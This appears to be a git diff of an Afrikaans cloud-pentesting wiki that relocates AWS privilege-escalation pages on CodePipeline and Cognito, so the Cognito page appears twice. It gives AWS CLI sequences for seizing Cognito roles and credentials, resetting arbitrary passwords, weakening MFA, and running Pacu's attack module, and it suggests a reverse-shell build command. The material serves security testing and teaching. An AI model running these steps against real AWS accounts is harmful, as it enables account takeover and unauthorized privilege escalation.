-Ek het dit getoets deur die proses op die webblad te doen, die toestemmings wat voorheen aangedui is, is nie die Lys/Kry een wat benodig word om 'n codepipeline te skep nie, maar om dit op die web te skep, sal jy ook nodig hê: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-
-Tydens die **skepping van die bouprojek** kan jy 'n **opdrag om te loop** aandui (rev shell?) en om die boufase as **bevoegde gebruiker** te laat loop, dit is die konfigurasie wat die aanvaller benodig om te kompromenteer:
-
-![](<../../../images/image (276).png>)
-
-![](<../../../images/image (181).png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-Dit mag moontlik wees om die rol wat gebruik word en die opdrag wat op 'n codepipeline uitgevoer word, met die vorige toestemmings te wysig.
-
-### `codepipeline:pollforjobs`
-
-[AWS noem](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-
-> Wanneer hierdie API aangeroep word, **gee CodePipeline tydelike geloofsbriewe vir die S3-bucket** wat gebruik word om artefakte vir die pipeline te stoor, indien die aksie toegang tot daardie S3-bucket vir invoer of uitvoer artefakte vereis. Hierdie API **gee ook enige geheime waardes wat vir die aksie gedefinieer is** terug.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
new file mode 100644
index 000000000..46517ae79
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
@@ -0,0 +1,37 @@
+# AWS - Codepipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## codepipeline
+
+Vir meer inligting oor codepipeline sien:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
+
+Wanneer jy 'n code pipeline skep, kan jy 'n **codepipeline IAM Role to run** aandui; gevolglik kan jy daardie rolle kompromitteer.
+
+Benewens die voorafgaande toestemmings benodig jy **toegang tot die plek waar die kode gestoor word** (S3, ECR, github, bitbucket...)
+
+Ek het dit getoets deur die proses op die webblad uit te voer; die permissies wat vroeër aangedui is is nie die List/Get een wat benodig word om 'n codepipeline te skep nie, maar om dit in die web te skep sal jy ook nodig hê: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+
+Tydens die **skepping van die build project** kan jy 'n **opdrag om uit te voer** aandui (rev shell?) en om die build-fase as 'n **privileged user** te laat loop — dit is die konfigurasie wat 'n aanvaller nodig het om te kompromitteer:
+
+![](<../../../images/image (276).png>)
+
+![](<../../../images/image (181).png>)
+
+### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
+
+Dit mag moontlik wees om die rol wat gebruik word en die opdrag wat op 'n codepipeline uitgevoer word te wysig met die vorige toestemmings.
+
+### `codepipeline:pollforjobs`
+
+[AWS vermeld](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+
+> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
deleted file mode 100644
index 3955c1c0d..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# AWS - Cognito Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Vir meer inligting oor Cognito, kyk:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Versameling van akrediteerbare uit Identiteitspoel
-
-Aangesien Cognito **IAM rol akrediteerbare** aan beide **geverifieerde** en **ongeverifieerde** **gebruikers** kan toeken, as jy die **Identiteitspoel ID** van 'n toepassing vind (dit behoort hardgecodeer te wees), kan jy nuwe akrediteerbare verkry en dus privesc (binne 'n AWS-rekening waar jy waarskynlik glad nie enige akrediteerbare gehad het nie).
-
-Vir meer inligting [**kyk hierdie bladsy**](../aws-unauthenticated-enum-access/#cognito).
-
-**Potensiële Impak:** Direkte privesc na die dienste rol wat aan ongeverifieerde gebruikers geheg is (en waarskynlik na die een wat aan geverifieerde gebruikers geheg is).
-
-### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
-
-Met hierdie toestemming kan jy **enige cognito rol** aan die geverifieerde/ongeverifieerde gebruikers van die cognito toepassing toeken.
-```bash
-aws cognito-identity set-identity-pool-roles \
---identity-pool-id  \
---roles unauthenticated=
-
-# Get credentials
-## Get one ID
-aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-## Get creds for that id
-aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
-```
-As die cognito-app **nie ongemagtigde gebruikers geaktiveer het nie**, mag jy ook die toestemming `cognito-identity:UpdateIdentityPool` nodig hê om dit te aktiveer.
-
-**Potensiële Impak:** Direkte privesc na enige cognito-rol.
-
-### `cognito-identity:update-identity-pool`
-
-'n Aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito User Pool onder sy beheer stel of enige ander identiteitsverskaffer waar hy kan aanmeld as 'n **manier om toegang tot hierdie Cognito Identity Pool te verkry**. Dan, net **aanmeld** op daardie gebruikersverskaffer sal **hom toelaat om toegang te verkry tot die geconfigureerde gemagtigde rol in die Identity Pool**.
-```bash
-# This example is using a Cognito User Pool as identity provider
-## but you could use any other identity provider
-aws cognito-identity update-identity-pool \
---identity-pool-id  \
---identity-pool-name  \
-[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
-
-# Now you need to login to the User Pool you have configured
-## after having the id token of the login continue with the following commands:
-
-# In this step you should have already an ID Token
-aws cognito-identity get-id \
---identity-pool-id  \
---logins cognito-idp..amazonaws.com/=
-
-# Get the identity_id from thr previous commnad response
-aws cognito-identity get-credentials-for-identity \
---identity-id  \
---logins cognito-idp..amazonaws.com/=
-```
-Dit is ook moontlik om **hierdie toestemming te misbruik om basiese outentisering toe te laat**:
-```bash
-aws cognito-identity update-identity-pool \
---identity-pool-id  \
---identity-pool-name  \
---allow-unauthenticated-identities
---allow-classic-flow
-```
-**Potensiële Impak**: Kompromitteer die geconfigureerde geverifieerde IAM-rol binne die identiteitspoel.
-
-### `cognito-idp:AdminAddUserToGroup`
-
-Hierdie toestemming laat toe om **'n Cognito-gebruiker aan 'n Cognito-groep toe te voeg**, daarom kan 'n aanvaller hierdie toestemming misbruik om 'n gebruiker onder sy beheer aan ander groepe met **beter** bevoegdhede of **verskillende IAM-rolle** toe te voeg:
-```bash
-aws cognito-idp admin-add-user-to-group \
---user-pool-id  \
---username  \
---group-name 
-```
-**Potensiële Impak:** Privesc na ander Cognito groepe en IAM rolle wat aan Gebruiker Pool Groepe gekoppel is.
-
-### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-
-'n Aanvaller met hierdie toestemmings kan **groepe skep/opdateer** met **elke IAM rol wat deur 'n gecompromitteerde Cognito Identiteitsverskaffer gebruik kan word** en 'n gecompromitteerde gebruiker deel van die groep maak, wat toegang tot al daardie rolle verkry:
-```bash
-aws cognito-idp create-group --group-name Hacked --user-pool-id  --role-arn 
-```
-**Potensiële Impak:** Privesc na ander Cognito IAM rolle.
-
-### `cognito-idp:AdminConfirmSignUp`
-
-Hierdie toestemming laat toe om 'n **aanmelding te verifieer**. Standaard kan enigiemand in Cognito toepassings aanmeld, as dit gelaat word, kan 'n gebruiker 'n rekening met enige data skep en dit met hierdie toestemming verifieer.
-```bash
-aws cognito-idp admin-confirm-sign-up \
---user-pool-id  \
---username 
-```
-**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM rol vir geverifieerde gebruikers as jy 'n nuwe gebruiker kan registreer. Indirekte privesc na ander app funksies deur enige rekening te kan bevestig.
-
-### `cognito-idp:AdminCreateUser`
-
-Hierdie toestemming sal 'n aanvaller in staat stel om 'n nuwe gebruiker binne die gebruikerspoel te skep. Die nuwe gebruiker word as geaktiveer geskep, maar sal sy wagwoord moet verander.
-```bash
-aws cognito-idp admin-create-user \
---user-pool-id  \
---username  \
-[--user-attributes ] ([Name=email,Value=email@gmail.com])
-[--validation-data ]
-[--temporary-password ]
-```
-**Potensiële Impak:** Direkte privesc na die identiteitspoel IAM rol vir geverifieerde gebruikers. Indirekte privesc na ander app funksies deur enige gebruiker te kan skep.
-
-### `cognito-idp:AdminEnableUser`
-
-Hierdie toestemmings kan help in 'n baie randgeval waar 'n aanvaller die akrediteer van 'n gedeaktiveerde gebruiker gevind het en hy moet dit **weer aktiveer**.
-```bash
-aws cognito-idp admin-enable-user \
---user-pool-id  \
---username 
-```
-**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM-rol vir geverifieerde gebruikers en toestemmings van die gebruiker as die aanvaller kredensiale vir 'n gedeaktiveerde gebruiker gehad het.
-
-### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-
-Hierdie toestemming laat toe om aan te meld met die [**metode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Vir meer inligting volg die skakel.
-
-### `cognito-idp:AdminSetUserPassword`
-
-Hierdie toestemming sou 'n aanvaller in staat stel om **die wagwoord van enige gebruiker te verander**, wat hom in staat stel om enige gebruiker na te doen (wat nie MFA geaktiveer het nie).
-```bash
-aws cognito-idp admin-set-user-password \
---user-pool-id  \
---username  \
---password  \
---permanent
-```
-**Potensiële Impak:** Direkte privesc na potensieel enige gebruiker, sodat toegang tot al die groepe waartoe elke gebruiker behoort en toegang tot die Identiteitspoel geverifieerde IAM-rol.
-
-### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-
-**AdminSetUserSettings**: 'n Aanvaller kan moontlik hierdie toestemming misbruik om 'n mobiele telefoon onder sy beheer as **SMS MFA van 'n gebruiker** in te stel.
-```bash
-aws cognito-idp admin-set-user-settings \
---user-pool-id  \
---username  \
---mfa-options 
-```
-**SetUserMFAPreference:** Soortgelyk aan die vorige een, kan hierdie toestemming gebruik word om MFA-voorkeure van 'n gebruiker in te stel om die MFA-beskerming te omseil.
-```bash
-aws cognito-idp admin-set-user-mfa-preference \
-[--sms-mfa-settings ] \
-[--software-token-mfa-settings ] \
---username  \
---user-pool-id 
-```
-**SetUserPoolMfaConfig**: Soortgelyk aan die vorige een, kan hierdie toestemming gebruik word om MFA voorkeure van 'n gebruikerspoel in te stel om die MFA-beskerming te omseil.
-```bash
-aws cognito-idp set-user-pool-mfa-config \
---user-pool-id  \
-[--sms-mfa-configuration ] \
-[--software-token-mfa-configuration ] \
-[--mfa-configuration ]
-```
-**UpdateUserPool:** Dit is ook moontlik om die gebruikerspoel op te dateer om die MFA-beleid te verander. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-
-**Potential Impact:** Indirekte privesc na potensieel enige gebruiker waarvan die aanvaller die akrediteeringe ken, dit kan toelaat om die MFA-beskerming te omseil.
-
-### `cognito-idp:AdminUpdateUserAttributes`
-
-'n Aanvaller met hierdie toestemming kan die e-pos of telefoonnommer of enige ander attribuut van 'n gebruiker onder sy beheer verander om te probeer om meer voorregte in 'n onderliggende toepassing te verkry.\
-Dit maak dit moontlik om 'n e-pos of telefoonnommer te verander en dit as geverifieer in te stel.
-```bash
-aws cognito-idp admin-update-user-attributes \
---user-pool-id  \
---username  \
---user-attributes 
-```
-**Potensiële Impak:** Potensiële indirekte privesc in die onderliggende toepassing wat Cognito User Pool gebruik wat voorregte gee gebaseer op gebruikersattributen.
-
-### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-
-'n Aanvaller met hierdie toestemming kan **'n nuwe User Pool Client minder beperk** as reeds bestaande pool kliënte skep. Byvoorbeeld, die nuwe kliënt kan enige soort metode toelaat om te autentiseer, geen geheim hê nie, token intrekking gedeaktiveer hê, tokens toelaat om vir 'n langer tydperk geldig te wees...
-
-Diezelfde kan gedoen word as daar in plaas van om 'n nuwe kliënt te skep, 'n **bestaande een gewysig** word.
-
-In die [**opdraglyn**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (of die [**opdatering een**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) kan jy al die opsies sien, kyk daarna!
-```bash
-aws cognito-idp create-user-pool-client \
---user-pool-id  \
---client-name  \
-[...]
-```
-**Potensiële Impak:** Potensiële indirekte privesc na die Identiteitspoel gemagtigde gebruiker wat deur die Gebruikerspoel gebruik word deur 'n nuwe kliënt te skep wat die sekuriteitsmaatreëls verslap en dit moontlik maak vir 'n aanvaller om in te log met 'n gebruiker wat hy kon skep.
-
-### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
-
-'n Aanvaller kan hierdie toestemming misbruik om gebruikers te skep deur 'n csv met nuwe gebruikers op te laai.
-```bash
-# Create a new import job
-aws cognito-idp create-user-import-job \
---job-name  \
---user-pool-id  \
---cloud-watch-logs-role-arn 
-
-# Use a new import job
-aws cognito-idp start-user-import-job \
---user-pool-id  \
---job-id 
-
-# Both options before will give you a URL where you can send the CVS file with the users to create
-curl -v -T "PATH_TO_CSV_FILE" \
--H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
-```
-(In die geval waar jy 'n nuwe invoer werk skep, mag jy ook die iam passrole toestemming nodig hê, ek het dit nog nie getoets nie).
-
-**Potensiële Impak:** Direkte privesc na die identiteitspoel IAM rol vir geverifieerde gebruikers. Indirekte privesc na ander app funksies wat in staat is om enige gebruiker te skep.
-
-### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-
-'n Aanvaller kan 'n nuwe identiteitsverskaffer skep om dan in staat te wees om **deur hierdie verskaffer aan te meld**.
-```bash
-aws cognito-idp create-identity-provider \
---user-pool-id  \
---provider-name  \
---provider-type  \
---provider-details  \
-[--attribute-mapping ] \
-[--idp-identifiers ]
-```
-**Potensiële Impak:** Direkte privesc na die identiteitspoel IAM-rol vir geverifieerde gebruikers. Indirekte privesc na ander app-funksies wat in staat is om enige gebruiker te skep.
-
-### cognito-sync:\* Analise
-
-Dit is 'n baie algemene toestemming standaard in rolle van Cognito Identiteitspoele. Alhoewel 'n wildcard in 'n toestemming altyd sleg lyk (veral afkomstig van AWS), is die **gegewe toestemmings nie baie nuttig vanuit 'n aanvaller se perspektief nie**.
-
-Hierdie toestemming laat toe om gebruikersinligting van Identiteitspoele en Identiteits-ID's binne Identiteitspoele te lees (wat nie sensitiewe inligting is nie).\
-Identiteits-ID's mag [**Datasette**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) toegeken hê, wat inligting van die sessies is (AWS definieer dit as 'n **gespeelde speletjie**). Dit mag moontlik wees dat dit 'n soort sensitiewe inligting bevat (maar die waarskynlikheid is redelik laag). Jy kan in die [**enumerasiepunt**](../aws-services/aws-cognito-enum/) vind hoe om toegang tot hierdie inligting te verkry.
-
-'n Aanvaller kan ook hierdie toestemmings gebruik om **homself in te skryf op 'n Cognito-stroom wat veranderinge publiseer** op hierdie datasette of 'n **lambda wat geaktiveer word op cognito-gebeurtenisse**. Ek het nie gesien dat dit gebruik word nie, en ek sou nie sensitiewe inligting hier verwag nie, maar dit is nie onmoontlik nie.
-
-### Outomatiese Gereedskap
-
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS eksploitasiemodel, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook die skepping van gebruikers outomatiseer (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteitspoel krediete, aanneembare rolle in id tokens, ens.
-
-Vir 'n beskrywing van die modules se funksies, sien deel 2 van die [blogpos](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie-instruksies, sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy.
-
-#### Gebruik
-
-Voorbeeld van cognito\_\_attack gebruik om te probeer om 'n gebruiker te skep en alle privesc vektore teen 'n gegewe identiteitspoel en gebruikerspoel kliënt:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening te versamel:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI-gereedskap in python wat verskillende aanvalle op Cognito implementeer, insluitend 'n privesc-escalasie.
-
-#### Installasie
-```bash
-$ pip install cognito-scanner
-```
-#### Gebruik
-```bash
-$ cognito-scanner --help
-```
-Vir meer inligting, kyk na [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
new file mode 100644
index 000000000..d40db10a5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
@@ -0,0 +1,274 @@
+# AWS - Cognito Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Vir meer inligting oor Cognito kyk:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Versameling van credentials vanaf Identity Pool
+
+As Cognito **IAM role credentials** aan beide **geauthentiseerde** en **nie-geauthentiseerde** **gebruikers** kan verleen, as jy die **Identity Pool ID** van 'n toepassing opspoor (dit behoort hardcoded op die toepassing te wees) kan jy nuwe credentials bekom en gevolglik privesc verkry (binne 'n AWS-rekening waar jy waarskynlik voorheen nie eens enige credential gehad het nie).
+
+Vir meer inligting [**kyk hierdie bladsy**](../../aws-unauthenticated-enum-access/index.html#cognito).
+
+**Potensiële impak:** Direkte privesc na die service-rol wat aan nie-geauthentiseerde gebruikers gekoppel is (en waarskynlik ook na dié wat aan geauthentiseerde gebruikers gekoppel is).
+
+### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
+
+Met hierdie toestemming kan jy **ken enige Cognito-rol toe** aan die geauthentiseerde/nie-geauthentiseerde gebruikers van die Cognito-app.
+```bash
+aws cognito-identity set-identity-pool-roles \
+--identity-pool-id  \
+--roles unauthenticated=
+
+# Get credentials
+## Get one ID
+aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
+## Get creds for that id
+aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
+```
+As die cognito-app nie die opsie vir nie-geauthentiseerde gebruikers geaktiveer het nie, mag jy ook die toestemming `cognito-identity:UpdateIdentityPool` nodig hê om dit aan te skakel.
+
+**Potensiële impak:** Direkte privesc na enige cognito-rol.
+
+### `cognito-identity:update-identity-pool`
+
+'n aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito User Pool onder sy beheer opstel of enige ander identiteitsverskaffer waarby hy kan **login** as 'n **manier om toegang tot hierdie Cognito Identity Pool te kry**. Dan sal net 'n **login** by daardie identiteitsverskaffer hom **toelaat om toegang te kry tot die geconfigureerde authenticated role in die Identity Pool**.
+```bash
+# This example is using a Cognito User Pool as identity provider
+## but you could use any other identity provider
+aws cognito-identity update-identity-pool \
+--identity-pool-id  \
+--identity-pool-name  \
+[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
+--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
+
+# Now you need to login to the User Pool you have configured
+## after having the id token of the login continue with the following commands:
+
+# In this step you should have already an ID Token
+aws cognito-identity get-id \
+--identity-pool-id  \
+--logins cognito-idp..amazonaws.com/=
+
+# Get the identity_id from thr previous commnad response
+aws cognito-identity get-credentials-for-identity \
+--identity-id  \
+--logins cognito-idp..amazonaws.com/=
+```
+Dit is ook moontlik om **hierdie toestemming te misbruik om basic auth toe te laat**:
+```bash
+aws cognito-identity update-identity-pool \
+--identity-pool-id  \
+--identity-pool-name  \
+--allow-unauthenticated-identities
+--allow-classic-flow
+```
+**Potensiële impak**: Kompromitteer die gekonfigureerde geverifieerde IAM-rol binne die identity pool.
+
+### `cognito-idp:AdminAddUserToGroup`
+
+Hierdie toestemming laat toe om **'n Cognito-gebruiker by 'n Cognito-groep te voeg**, daarom kan 'n aanvaller hierdie toestemming misbruik om 'n gebruiker onder sy beheer by ander groepe met **beter** voorregte of **verskillende IAM-rolle** te voeg:
+```bash
+aws cognito-idp admin-add-user-to-group \
+--user-pool-id  \
+--username  \
+--group-name 
+```
+**Potensiële impak:** Privesc na ander Cognito groups en IAM roles wat aan User Pool Groups gekoppel is.
+
+### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
+
+'n aanvaller met hierdie toestemmings kan **create/update groups** met **every IAM role that can be used by a compromised Cognito Identity Provider** maak en 'n gekompromitteerde gebruiker in daardie group plaas, en sodoende toegang tot al daardie roles kry:
+```bash
+aws cognito-idp create-group --group-name Hacked --user-pool-id  --role-arn 
+```
+**Potensiële impak:** Privesc na ander Cognito IAM-rolle.
+
+### `cognito-idp:AdminConfirmSignUp`
+
+Hierdie toestemming laat toe om **'n registrasie te verifieer**. Standaard kan enigiemand by Cognito-toepassings aanmeld; as dit so gelaat word, kan 'n gebruiker 'n rekening skep met enige data en dit met hierdie toestemming verifieer.
+```bash
+aws cognito-idp admin-confirm-sign-up \
+--user-pool-id  \
+--username 
+```
+**Potential Impact:** Indirect privesc na die identity pool IAM role vir authenticated users as jy 'n nuwe user kan registreer. Indirect privesc na ander app-funksionaliteite wat in staat is om enige account te bevestig.
+
+### `cognito-idp:AdminCreateUser`
+
+Hierdie permission sou 'n attacker toelaat om 'n nuwe user binne die user pool te skep. Die nuwe user word geskep as enabled, maar sal sy password moet verander.
+```bash
+aws cognito-idp admin-create-user \
+--user-pool-id  \
+--username  \
+[--user-attributes ] ([Name=email,Value=email@gmail.com])
+[--validation-data ]
+[--temporary-password ]
+```
+**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geauthentiseerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige gebruiker te skep
+
+### `cognito-idp:AdminEnableUser`
+
+Hierdie permissie kan help in 'n uiters seldsame geval waar 'n aanvaller die inlogbewyse van 'n gedeaktiveerde gebruiker gevind het en hy dit weer moet **aktiveer**.
+```bash
+aws cognito-idp admin-enable-user \
+--user-pool-id  \
+--username 
+```
+**Potential Impact:** Indirekte privesc na die identity pool IAM role vir geauthentiseerde gebruikers en die permissies van die gebruiker as die aanvaller kredensiale gehad het vir 'n gedeaktiveerde gebruiker.
+
+### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
+
+Hierdie permissie laat toe om in te log met die [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Vir meer inligting volg die skakel.
+
+### `cognito-idp:AdminSetUserPassword`
+
+Hierdie permissie sou 'n aanvaller toelaat om die wagwoord van enige gebruiker **te verander**, wat hom in staat sal stel om enige gebruiker na te boots (that doesn't have MFA enabled).
+```bash
+aws cognito-idp admin-set-user-password \
+--user-pool-id  \
+--username  \
+--password  \
+--permanent
+```
+**Potensiële impak:** Direkte privesc na potensieel enige gebruiker, dus toegang tot al die groepe waarvan elke gebruiker lid is en toegang tot die Identity Pool authenticated IAM role.
+
+### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
+
+**AdminSetUserSettings**: 'n attacker kan hierdie toestemming moontlik misbruik om 'n mobiele telefoon wat onder sy beheer is as **SMS MFA of a user** te stel.
+```bash
+aws cognito-idp admin-set-user-settings \
+--user-pool-id  \
+--username  \
+--mfa-options 
+```
+**SetUserMFAPreference:** Soortgelyk aan die vorige een, kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n gebruiker in te stel om die MFA-beskerming te omseil.
+```bash
+aws cognito-idp admin-set-user-mfa-preference \
+[--sms-mfa-settings ] \
+[--software-token-mfa-settings ] \
+--username  \
+--user-pool-id 
+```
+**SetUserPoolMfaConfig**: Soortgelyk aan die vorige, kan hierdie toestemming gebruik word om die MFA-voorkeure van 'n user pool te stel en sodoende die MFA-beskerming te omseil.
+```bash
+aws cognito-idp set-user-pool-mfa-config \
+--user-pool-id  \
+[--sms-mfa-configuration ] \
+[--software-token-mfa-configuration ] \
+[--mfa-configuration ]
+```
+**UpdateUserPool:** Dit is ook moontlik om die user pool by te werk om die MFA-beleid te verander. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+
+**Potential Impact:** Indirekte privesc na moontlik enige gebruiker waarvan die aanvaller die aanmeldbewyse ken; dit kan toelaat om die MFA-beskerming te omseil.
+
+### `cognito-idp:AdminUpdateUserAttributes`
+
+’n Aanvaller met hierdie toestemming kan die e-pos, telefoonnommer of enige ander attribuut van ’n gebruiker onder sy beheer verander om te probeer meer voorregte in ’n onderliggende toepassing te verkry.\
+Dit maak dit moontlik om ’n e-pos of telefoonnommer te verander en dit as geverifieer te merk.
+```bash
+aws cognito-idp admin-update-user-attributes \
+--user-pool-id  \
+--username  \
+--user-attributes 
+```
+**Potential Impact:** Potensiële indirekte privesc in die onderliggende toepassing wat Cognito User Pool gebruik wat voorregte gee gebaseer op gebruiker-attribuutte.
+
+### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
+
+'n aanvaller met hierdie toestemming kan **'n nuwe User Pool Client skep wat minder beperk is** as reeds bestaande pool clients. Byvoorbeeld, die nuwe client kan enige soort metode toelaat om te verifieer, geen secret hê, token revocation gedeaktiveer hê, of tokens langer geldig laat wees...
+
+Dieselfde kan gedoen word as, in plaas daarvan om 'n nuwe client te skep, 'n **bestaande een gewysig** word.
+
+In die [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (of die [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) kan jy al die opsies sien — kyk dit na!
+```bash
+aws cognito-idp create-user-pool-client \
+--user-pool-id  \
+--client-name  \
+[...]
+```
+**Potensiële impak:** Potensiële indirekte privesc vir die Identity Pool-gemagtigde gebruiker wat deur die User Pool gebruik word deur 'n nuwe kliënt te skep wat die sekuriteitsmaatreëls verslap en dit moontlik maak vir 'n aanvaller om aan te meld met 'n gebruiker wat hy self kon skep.
+
+### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
+
+'n aanvaller kan hierdie toestemming misbruik om gebruikers te skep deur 'n CSV met nuwe gebruikers op te laai.
+```bash
+# Create a new import job
+aws cognito-idp create-user-import-job \
+--job-name  \
+--user-pool-id  \
+--cloud-watch-logs-role-arn 
+
+# Use a new import job
+aws cognito-idp start-user-import-job \
+--user-pool-id  \
+--job-id 
+
+# Both options before will give you a URL where you can send the CVS file with the users to create
+curl -v -T "PATH_TO_CSV_FILE" \
+-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
+```
+(In die geval dat jy 'n nuwe import job skep, mag jy ook die iam passrole permission benodig; ek het dit nog nie getoets nie).
+
+**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geverifieerde gebruikers. Indirekte privesc na ander app-funksionaliteite wat in staat is om enige gebruiker te skep.
+
+### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
+
+'n aanvaller kan 'n nuwe identity provider skep om dan deur hierdie provider te **login**.
+```bash
+aws cognito-idp create-identity-provider \
+--user-pool-id  \
+--provider-name  \
+--provider-type  \
+--provider-details  \
+[--attribute-mapping ] \
+[--idp-identifiers ]
+```
+**Potensiële impak:** Direkte privesc na die identity pool IAM role vir geverifieerde gebruikers. Indirekte privesc na ander app-funksies wat enige gebruiker kan skep.
+
+### cognito-sync:* Analise
+
